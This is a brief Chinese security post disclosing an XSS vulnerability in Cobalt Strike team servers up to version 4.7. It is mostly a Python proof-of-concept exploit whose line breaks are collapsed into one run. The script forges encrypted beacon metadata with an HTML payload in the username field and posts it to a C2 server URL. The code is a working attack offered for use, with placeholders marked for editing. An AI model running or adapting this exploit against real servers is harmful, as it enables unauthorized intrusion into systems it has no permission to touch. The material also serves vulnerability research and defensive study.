Cobalt Strike 到 4.7 中发现了一个 XSS（跨站点脚本）漏洞，允许远程攻击者在 Cobalt Strike 团队服务器上执行 HTML。要利用此漏洞，必须首先检查 Cobalt Strike 有效负载，然后修改有效负载中的用户名字段（或使用提取的信息创建一个新有效负载，然后将该用户名字段修改为格式错误）。
POC
#!/usr/bin/env python# coding=utf-8import hexdumpimport rsaimport randomimport base64import stringimport urllib.request#pack = b'\x00\x00\xBE\xEF' # pack head#pack += b'\x00\x00\x00\x4C' # pack lenpack = bytearray(random.getrandbits(4) for _ in range(16)) # AESKEYpack += b'\xa8\x03' # name charset (int) (little)pack += b'\xa8\x03' # name charset (int) (little)# pack+=b'\x00\x00\x00\x06' # Beacon Id randompack += random.randint(0 , 9999999) .to_bytes(4, 'big') # Beacon Idpack += random.randint(0 , 65535) .to_bytes(4, 'big') # Beacon Pidpack += b'\x00\x00' # Beacon Portpack += b'\x04' # Beacon Flag 04pack += b'\x06'pack += b'\x02'pack += b'\x23\xf0\x00\x00\x00\x00' # windows version (int)pack += b'\x76\x91' # windows version_1 (int)pack += b'\x0a\x60\x76\x90\xf5\x50'pack += bytearray(random.getrandbits(4) for _ in range(4)) # Beacon Ippack += b'\x4b\x4b'+b'\x09'+b'<html><img src=http://127.0.0.1/1.jpg>'+b'\x09'+b'\x61' # PAYLOAD LOAD A IMAGE *NEED-EDITpack = b'\x00\x00\xBE\xEF'+len(pack).to_bytes(4, 'big')+packurl = 'http://192.168.234.100/pixel.gif' # C2 Server metadata post url (CobaltStrikeParser C2Server) *NEED-EDITpubkey = rsa.PublicKey.load_pkcs1_openssl_pem("""-----BEGIN PUBLIC KEY-----MIGfXXXXXXXXXXXXXXXX==-----END PUBLIC KEY-----""")# use the CobaltStrikeParser extract public key from the payload https://github.com/Sentinel-One/CobaltStrikeParser parse_beacon_config.py payload_url --json#Remember to remove the extra padding from the public key *NEED-EDITenpack = rsa.encrypt(pack, pubkey)header = {'Cookie': base64.b64encode(enpack).decode('utf-8')}request = urllib.request.Request(url, headers=header)reponse = urllib.request.urlopen(request).read()#print('base64:', base64.b64encode(enpack).decode('utf-8'))#print(hexdump.hexdump(pack))Footer
文章来源：Khan安全攻防实验室
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